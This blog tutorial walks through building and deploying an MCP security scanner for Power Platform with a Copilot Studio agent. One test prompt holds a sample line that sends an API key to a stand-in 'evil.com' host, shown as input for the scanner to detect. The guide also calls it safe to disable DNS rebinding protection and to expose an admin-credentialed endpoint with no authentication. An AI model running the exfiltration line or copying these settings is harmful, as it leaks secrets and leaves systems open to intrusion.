I Built an AI-Powered Security Scanner for Microsoft Power Platform

 



CYBERSECURITY × AI × POWER PLATFORM

I Built an AI-Powered Security Scannerfor Microsoft Power PlatformAnd deployed it to Azure with a Copilot Studio agent that scans for vulnerabilities using natural language. Here's every step — from zero to production.

18
Security Tools
30+
Vuln Rules
AI
Deep Scan
1
Script Deploy
By KerolosPower of AutomationMarch 2026

Low-code platforms like Power Apps are everywhere — and so are the security gaps they create. Hardcoded API keys, XSS vulnerabilities, insecure Dataverse calls, and exposed secrets hiding in plain sight across thousands of components. Security teams can't keep up by manually reviewing every app.

So I built a solution: an MCP server with 18 security scanning tools that any AI assistant — Claude Desktop, Microsoft Copilot Studio, or any MCP-compatible client — can use through natural language. Just say "scan my Default solution for security issues" and the AI does the rest.

This guide walks you through everything — from what MCP is, to building the tools, deploying to Azure, creating a Copilot Studio agent, and testing it end-to-end. If you're new to this, don't worry — every step has the exact commands and configurations you need.

💡 What Is MCP?Model Context Protocol (MCP) is an open standard by Anthropic that lets AI assistants call custom tools you build. Think of it as a universal API for AI — you build the tool once, and Claude, Copilot Studio, VS Code, and other MCP clients can all use it. It supports stdio for local use and Streamable HTTP for cloud deployment.

What We're Building

A Python MCP server with 18 security tools organized into 4 tiers:

Tier 1 — Paste-Based Scans (no auth needed)

pp_scan_inline
Quick code snippet scan
pp_scan_code
Full 30+ rule scan
pp_scan_xss
XSS detection
pp_scan_env_secrets
Secret/key detection
pp_scan_dataverse_calls
Dataverse API audit
pp_scan_dependencies
Package vulnerabilities
pp_suggest_fixes
Auto-fix suggestions
pp_generate_report
Security report

Tier 2 — Environment Scans (Azure App Registration)

pp_check_connection
Test Dataverse auth
pp_list_solutions
List all solutions
pp_scan_solution
Scan entire solution
pp_list_code_components
List PCF components

Tier 3 — Real-Time Scanning

pp_realtime_scan_environment
Full env audit
pp_scan_solution_with_fixes
Scan + auto-fix
pp_vulnerability_report
Executive report

Tier 4 — AI Deep Scan (Claude AI)

pp_ai_deep_scan
Logic flaw analysis
pp_ai_scan_solution
Solution + AI layer
pp_ai_fix_code
AI code rewrite
PHASE 1

Prerequisites

~20 min

Software You Need

Azure App Registration

This gives your MCP server permission to talk to Power Platform APIs.

1

Create App Registration

Azure Portal → Entra ID → App registrations → New registration → Name it "PP-Security-Scanner" → Register

2

Copy Your IDs

From the Overview page, copy the Application (client) ID and Directory (tenant) ID. You'll need these later.

3

Create a Client Secret

Certificates & secrets → New client secret → Copy the Value immediately (it won't be shown again)

4

Grant Dataverse Permissions

API permissions → Add a permission → Dynamics CRM → Application permissions → user_impersonation → Grant admin consent

5

Add as Application User

Power Platform Admin Center → Environments → your env → Settings → Application users → New app user → Add your app → Assign System Administrator role

Anthropic API Key (Optional)

For the 3 AI-powered tools. Get it from console.anthropic.com → API Keys. If you skip this, the other 15 tools still work perfectly.

PHASE 2

Deploy to Azure

~10 min

The deployment package includes server.py (2345 lines, 18 tools, all fixes pre-applied), requirements.txt, and deploy-to-azure.ps1 (one-command deploy with 7 automated tests).

1

Download & Extract the Package

Extract the ZIP file to a folder. You'll see three files: server.pyrequirements.txt, and deploy-to-azure.ps1

2

Edit the Deploy Script

Open deploy-to-azure.ps1 in a text editor. At the top, fill in the CONFIGURATION section:

deploy-to-azure.ps1 — CONFIGURATION section
# ──── Azure App Service Settings ────
$APP_NAME       = "ENTER_YOUR_APP_NAME_HERE"            # globally unique name
$RESOURCE_GROUP = "ENTER_YOUR_RESOURCE_GROUP_HERE"       # e.g., "rg-pp-security-mcp"
$LOCATION       = "ENTER_YOUR_AZURE_REGION_HERE"         # e.g., "eastus"
$SKU            = "F1"                                   # F1=Free, B1=Basic

# ──── Power Platform Credentials ────
$PP_TENANT_ID     = "ENTER_YOUR_TENANT_ID_HERE"          # Entra ID → Overview
$PP_CLIENT_ID     = "ENTER_YOUR_CLIENT_ID_HERE"          # App reg → Overview
$PP_CLIENT_SECRET = "ENTER_YOUR_CLIENT_SECRET_HERE"      # Certificates & secrets
$PP_ENVIRONMENT   = "ENTER_YOUR_DATAVERSE_URL_HERE"      # e.g., "https://org123.crm.dynamics.com"
$ANTHROPIC_KEY    = "ENTER_YOUR_ANTHROPIC_KEY_OR_EMPTY"  # "" to skip AI tools
3

Login to Azure & Run

Open PowerShell in the folder with your files:

az login
.\deploy-to-azure.ps1
4

Wait for All 7 Tests to Pass

The script creates everything, deploys, waits for the build, and runs 7 automated tests. Look for:

╔══════════════════════════════════════════════════════════════╗
║   🎉  ALL 7 TESTS PASSED!  DEPLOYMENT SUCCESSFUL!         ║
╚══════════════════════════════════════════════════════════════╝

  🌐 Welcome Page:   https://your-app.azurewebsites.net/
  💚 Health Check:   https://your-app.azurewebsites.net/health
  🔌 MCP Endpoint:   https://your-app.azurewebsites.net/mcp/mcp
✅ What the Script Does (10 steps)Creates resource group → Creates app service plan → Creates web app → Sets startup command → Sets all environment variables → Enables CORS → Deploys code → Re-applies startup command → Restarts → Runs 7 tests (welcome, health, MCP init, tools list, inline scan, XSS scan, secrets scan).

The 5 Fixes Already Baked In

The server.py in the package has all these fixes pre-applied so you never hit these problems:

⚠️ Missing Session Manager

POST /mcp returns 500 or empty response
MCP SDK needs a lifespan handler calling session_manager.run()
Lifespan handler with AsyncExitStack wired to Starlette

⚠️ Wrong Endpoint Path

POST /mcp/ returns 404
Mount("/mcp") + SDK internal /mcp = full path /mcp/mcp
Use /mcp/mcp as the endpoint URL everywhere

⚠️ DNS Rebinding Block (HTTP 421)

Logs show "Invalid Host header: your-app.azurewebsites.net"
MCP SDK v1.24+ only allows localhost by default
TransportSecuritySettings(enable_dns_rebinding_protection=False)

⚠️ Azure Detects Flask

"No module named flask" on startup
Azure defaults to Flask; we use Starlette (ASGI)
Explicit startup: gunicorn --worker-class uvicorn.workers.UvicornWorker

⚠️ Env Var Update Breaks App

App stops loading after changing settings
Azure restarts container and can reset startup command
Script re-applies startup command after every env var change
PHASE 3

Create Your Copilot Studio Agent

~10 min
1

Open Copilot Studio

Go to copilotstudio.microsoft.com → Sign in → Click Create → New agent

2

Name & Describe Your Agent

Name: Power Platform Security Scanner
Description: Scans Power Apps code and Dataverse solutions for security vulnerabilities including XSS, hardcoded secrets, insecure API calls, and architecture issues.

3

Enable Generative Orchestration

Go to Settings → Generative AI and turn ON Generative orchestration. This is required for MCP — it lets the agent dynamically decide which tool to call.

4

Paste the Agent Instructions

Go to the Overview tab → Instructions field → Paste the instructions below:

📝 Agent Instructions — Copy & Paste This

You are the Power Platform Security Scanner — an expert security 
assistant that helps administrators and developers find and fix 
vulnerabilities in their Power Platform environment.

## YOUR ROLE
You scan Power Apps code, PCF components, custom connectors, and 
Dataverse solutions for security issues including XSS, hardcoded 
secrets, insecure API calls, SQL injection, and architecture flaws.

## AVAILABLE TOOLS (18 total)

### Quick Scans (no credentials needed):
- pp_scan_inline: Quick scan of pasted code
- pp_scan_code: Full 30+ rule scan with severity scoring
- pp_scan_xss: Focused XSS vulnerability detection
- pp_scan_env_secrets: Detect hardcoded secrets and API keys
- pp_scan_dataverse_calls: Audit Dataverse API usage
- pp_scan_dependencies: Check packages for known issues
- pp_suggest_fixes: Generate fix suggestions
- pp_generate_report: Create formatted security report

### Environment Scans (connects to Power Platform):
- pp_check_connection: Test Dataverse connection
- pp_list_solutions: List all solutions
- pp_list_code_components: List PCF components
- pp_scan_solution: Scan entire solution
- pp_realtime_scan_environment: Full environment audit
- pp_scan_solution_with_fixes: Scan with auto-fix
- pp_vulnerability_report: Executive security report

### AI Deep Scan (Claude AI analysis):
- pp_ai_deep_scan: AI finds logic flaws regex can't
- pp_ai_scan_solution: Solution scan with AI layer
- pp_ai_fix_code: AI rewrites vulnerable code securely

## BEHAVIOR RULES
1. When user pastes code, ALWAYS use pp_scan_inline first
2. To scan a solution by name: pp_list_solutions first to 
   get the ID, then pp_scan_solution
3. Chain tools: scan → suggest fixes → generate report
4. Explain findings in plain language
5. Prioritize CRITICAL and HIGH severity first
6. For "AI scan" or "deep scan", use pp_ai_deep_scan
7. For executives, use pp_vulnerability_report

## RESPONSE FORMAT
- Start with severity summary (Critical/High/Medium/Low)
- Group by category (Secrets, XSS, API Security, etc.)
- Severity emojis: 🔴 CRITICAL 🟠 HIGH 🟡 MEDIUM 🔵 LOW ✅ PASS
- End with actionable next steps

## TONE
Professional, helpful, security-focused. Explain risks in 
business terms when possible.
⚠️ Why Instructions Matter So MuchThe generative orchestrator reads your instructions to decide which MCP tool to call. Listing every tool name with a description of when to use it directly improves accuracy. Without good instructions, the agent guesses — and often guesses wrong.
PHASE 4

Connect MCP Server to Your Agent

~5 min
1

Go to Tools Tab

In your agent editor, click Tools in the top navigation.

2

Add a Tool → New Tool → Model Context Protocol

Click Add a tool → New tool → Select Model Context Protocol

3

Enter Your MCP Server Details

Fill in the wizard:

Server Name:        Power Platform Security Scanner
Server Description: Scans Power Apps, PCF components, and 
                     Dataverse solutions for security vulnerabilities.
                     18 tools: code scanning, XSS, secrets, AI analysis.
Server URL:         https://YOUR-APP-NAME.azurewebsites.net/mcp/mcp
💡 Replace YOUR-APP-NAMEUse the app name you set in the deploy script. For example, if $APP_NAME = "pp-security-mcp-contoso", your URL is https://pp-security-mcp-contoso.azurewebsites.net/mcp/mcp
4

Authentication → None

Select None. Your server handles auth internally via Azure environment variables.

5

Click Create → Review 18 Tools → Add

Copilot Studio connects to your server, discovers all 18 tools, and lists them. Click Add to add them all.

6

Verify on the Tools Tab

You should see "Power Platform Security Scanner" listed with all 18 tools enabled. Click on it to toggle individual tools on/off if needed.

PHASE 5

Test Your Agent

~5 min

Use the Test panel on the right side of Copilot Studio. Try these prompts — ordered from simple to advanced:

🟢 Quick Scans (No Credentials Needed)

Start Here
"Scan this code for security issues: const API_KEY = 'sk-12345'; fetch('http://evil.com/steal?key=' + API_KEY)"
pp_scan_inline
XSS Detection
"Check this for XSS: document.getElementById('output').innerHTML = userInput;"
pp_scan_xss
Secret Detection
"Are there hardcoded secrets here? const config = { password: 'admin123', dbConn: 'Server=prod;Pwd=secret' };"
pp_scan_env_secrets
Full Scan + Report
"Do a full security scan of this code and give me a report with fix suggestions."
pp_scan_codepp_suggest_fixespp_generate_report

🔵 Environment Scans (Uses Your Credentials)

Connection Test
"Check if the Power Platform connection is working."
pp_check_connection
List Solutions
"What solutions are in my environment?"
pp_list_solutions
Scan a Solution
"Scan the Default Solution for vulnerabilities and generate a report."
pp_list_solutionspp_scan_solutionpp_vulnerability_report
Full Environment Audit
"Run a complete security audit of my entire Power Platform environment."
pp_realtime_scan_environment

🤖 AI Deep Scans (Anthropic API)

AI Logic Analysis
"Use AI to deep scan this code for logic flaws that regex can't find: [paste code]"
pp_ai_deep_scan
AI Secure Rewrite
"Rewrite this vulnerable code securely: fetch('http://' + userInput + '/api')"
pp_ai_fix_code
PHASE 6

Publish & Share

~5 min
1

Publish the Agent

Click Publish in the top-right corner of Copilot Studio.

2

Deploy to Microsoft Teams

Go to Channels → Microsoft Teams → Turn on Teams. Your security team can now chat with the scanner in Teams.

3

Share a Demo Link

Under Channels, grab the Demo website link to share with stakeholders for testing.

✅ Pro TipDeploy to a dedicated Teams channel like #security-scanning. Team members can scan code, audit solutions, and generate reports without needing Azure credentials — the MCP server handles everything server-side.
PHASE 7

Claude Desktop (Bonus)

~3 min

The same server.py works locally with Claude Desktop via stdio transport — no Azure needed.

Configure Claude Desktop

Open your config file: %APPDATA%\Claude\claude_desktop_config.json (Windows) or ~/Library/Application Support/Claude/claude_desktop_config.json (Mac)

claude_desktop_config.json
{
  "mcpServers": {
    "powerplatform-security": {
      "command": "python",
      "args": ["C:/path/to/server.py"],     // ← your path
      "env": {
        "PP_TENANT_ID":     "YOUR_TENANT_ID",     // ← from Entra ID
        "PP_CLIENT_ID":     "YOUR_CLIENT_ID",     // ← from App Registration
        "PP_CLIENT_SECRET": "YOUR_SECRET",         // ← from Certificates & secrets
        "PP_ENVIRONMENT":   "https://org.crm.dynamics.com", // ← your Dataverse URL
        "ANTHROPIC_API_KEY":"sk-ant-..."            // ← from console.anthropic.com
      }
    }
  }
}

Restart Claude Desktop. You'll see a 🔨 tool icon. Ask: "Scan this code: const secret = 'password123';"

DONE

Quick Reference

⚡ Complete Checklist

PHASE 1 — Prerequisites
  ☐ Python 3.12+ installed
  ☐ Azure CLI installed (az login)
  ☐ App Registration created in Entra ID
  ☐ Client secret copied
  ☐ App added as Application User in Power Platform

PHASE 2 — Deploy to Azure
  ☐ Downloaded deployment package (3 files)
  ☐ Edited deploy-to-azure.ps1 with your values
  ☐ Ran: .\deploy-to-azure.ps1
  ☐ All 7 tests passed
  ☐ Noted MCP endpoint URL: https://YOUR-APP.azurewebsites.net/mcp/mcp

PHASE 3 — Create Copilot Agent
  ☐ Created agent in copilotstudio.microsoft.com
  ☐ Enabled Generative Orchestration
  ☐ Pasted agent instructions

PHASE 4 — Connect MCP
  ☐ Tools → Add a tool → New tool → Model Context Protocol
  ☐ Entered server URL
  ☐ Auth: None
  ☐ All 18 tools added

PHASE 5 — Test
  ☐ Tested inline scan with sample code
  ☐ Tested environment connection
  ☐ Tested solution scan

PHASE 6 — Publish
  ☐ Published agent
  ☐ Deployed to Teams
  ☐ Shared with security team
BATTLE TESTED

Lessons Learned — 5 Gotchas That Will Save You Hours

These were discovered during a marathon debugging session. Each one caused the MCP endpoint to fail silently — the welcome page and health check worked perfectly, but /mcp/mcp returned cryptic errors. Here's every trap and its fix, so you never have to go through what we did.

🚨 Gotcha #1 — The Silent Session Manager

POST /mcp/mcp returns HTTP 500 or completely empty response. Server logs show "Application startup complete" with zero errors — everything looks fine.
The MCP SDK's streamable_http_app() requires a running session manager. Without a lifespan handler that calls mcp.session_manager.run(), the server boots up happily but silently refuses every MCP request.
Add an mcp_lifespan async context manager using AsyncExitStack and wire it to Starlette via lifespan=mcp_lifespan. This is documented in Microsoft's official Azure MCP tutorial but easy to miss.

🚨 Gotcha #2 — The Double /mcp Path

POST /mcp/ returns HTTP 404. You're 100% sure the MCP app is mounted at /mcp. Health check works. What's going on?
When you use Mount("/mcp", app=mcp_app), the SDK adds its own internal /mcp subpath. So the real endpoint becomes /mcp/mcp — the path doubles up. This is by design, not a bug.
Always use /mcp/mcp as your endpoint URL. Don't try to "fix" the doubling by changing the Mount path — that breaks other things. The server.py in the package has this configured correctly.

🚨 Gotcha #3 — HTTP 421 DNS Rebinding Block

POST /mcp/mcp returns HTTP 421 Misdirected Request. Docker logs show: WARNING Invalid Host header: your-app.azurewebsites.net followed by Terminating session: None
MCP Python SDK v1.24+ introduced DNS rebinding protection that only allows localhost by default. Your Azure App Service hostname gets rejected because it's not on the allowlist. This is a widely reported issue (GitHub #1798).
Add transport_security=TransportSecuritySettings(enable_dns_rebinding_protection=False) to the FastMCP() constructor. Azure App Service already handles network security at the infrastructure layer, so disabling this SDK-level check is safe.

🚨 Gotcha #4 — Azure Thinks You're Flask

Container crashes immediately on startup. Logs show: ModuleNotFoundError: No module named 'flask'
Azure's Oryx build system auto-detects Python apps and assumes Flask (WSGI). Our MCP server uses Starlette, which is ASGI — completely different framework, different server requirements.
Explicitly set the startup command to gunicorn --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:8000 --timeout 600 --workers 1 server:app. This tells Azure to use gunicorn with uvicorn workers for ASGI.

🚨 Gotcha #5 — Env Var Updates Kill the App

MCP server was working perfectly. You update environment variables (credentials). Suddenly everything returns "Application Error" — all endpoints dead.
Changing app settings on Azure Free tier triggers a full container restart and rebuild. This can take 2-3 minutes (not the usual 90 seconds), and sometimes Azure resets the startup command back to its default during the process.
After every env var change: (1) re-apply the startup command, (2) restart the app, (3) wait at least 120 seconds. The deploy script does all three automatically, and it re-applies the startup command after every deployment too.

The Key Code Fixes (All Pre-Applied)

Here are the exact code changes. The server.py in the download package already has all of these applied — you don't need to make any changes.

Fix #1 + #3 — Imports

server.py — near top
import contextlib
from contextlib import asynccontextmanager
from mcp.server.fastmcp import FastMCP
from mcp.server.transport_security import TransportSecuritySettings  # Fix #3

Fix #3 — Disable DNS Rebinding Protection

server.py — FastMCP initialization
mcp = FastMCP(
    "powerplatform_security_mcp",
    stateless_http=True,
    transport_security=TransportSecuritySettings(
        enable_dns_rebinding_protection=False,  # Fix #3 — allow Azure hostname
    ),
)

Fix #1 — Lifespan Handler for Session Manager

server.py — entry point (bottom of file)
@asynccontextmanager
async def mcp_lifespan(app):                        # Fix #1
    async with contextlib.AsyncExitStack() as stack:
        await stack.enter_async_context(mcp.session_manager.run())
        yield

Fix #1 + #2 — Correct Mount & Wired Lifespan

server.py — Starlette app
mcp_app = mcp.streamable_http_app()

app = Starlette(
    routes=[
        Route("/", welcome),
        Route("/health", health),
        Mount("/mcp", app=mcp_app),       # Fix #2 — endpoint = /mcp/mcp
    ],
    lifespan=mcp_lifespan,              # Fix #1 — MUST wire lifespan here
)
✅ All Fixes Are Pre-AppliedThe server.py in the download package has all 5 fixes built in. The deploy script handles Fix #4 (startup command) and Fix #5 (re-apply after env changes) automatically. You just fill in your credentials and run the script.
DOWNLOAD

Get the Complete Package

Everything you need in one ZIP — all fixes applied, all tests included, zero credentials (you enter your own).

server.py
2345 lines · 18 tools · All 5 code fixes applied
requirements.txt
6 packages · Python 3.12 compatible
deploy-to-azure.ps1
One-command deploy · 7 automated tests · Config validation

Quick Start After Download

# 1. Extract the ZIP
# 2. Open deploy-to-azure.ps1 in a text editor
# 3. Fill in the CONFIGURATION section (8 values)
# 4. Run:

az login
.\deploy-to-azure.ps1

# 5. Wait for "ALL 7 TESTS PASSED!"
# 6. Copy the MCP endpoint URL into Copilot Studio
# 7. Done — your AI security scanner is live!
⚠️ Security NoteThe package contains zero credentials. Every sensitive value is a placeholder like ENTER_YOUR_TENANT_ID_HERE with instructions showing where to find each value. The deploy script validates all fields before running — if you forget one, it tells you exactly what's missing.
💡 What You Need Before RunningAn Azure account with az login access, an App Registration in Entra ID (tenant ID, client ID, client secret), a Dataverse environment URL from Power Platform Admin Center, and optionally an Anthropic API key from console.anthropic.com for AI deep scan tools. The other 15 tools work without it.

Comments

Popular posts from this blog

Bridging the Impossible: Connecting Jira On-Prem to Power Automate & Copilot Studio — The Solution Nobody Built Until Now"

How I Automated My Entire SharePoint Tenant with 150 MCP Tools and Claude Desktop

Azure Management MCP Server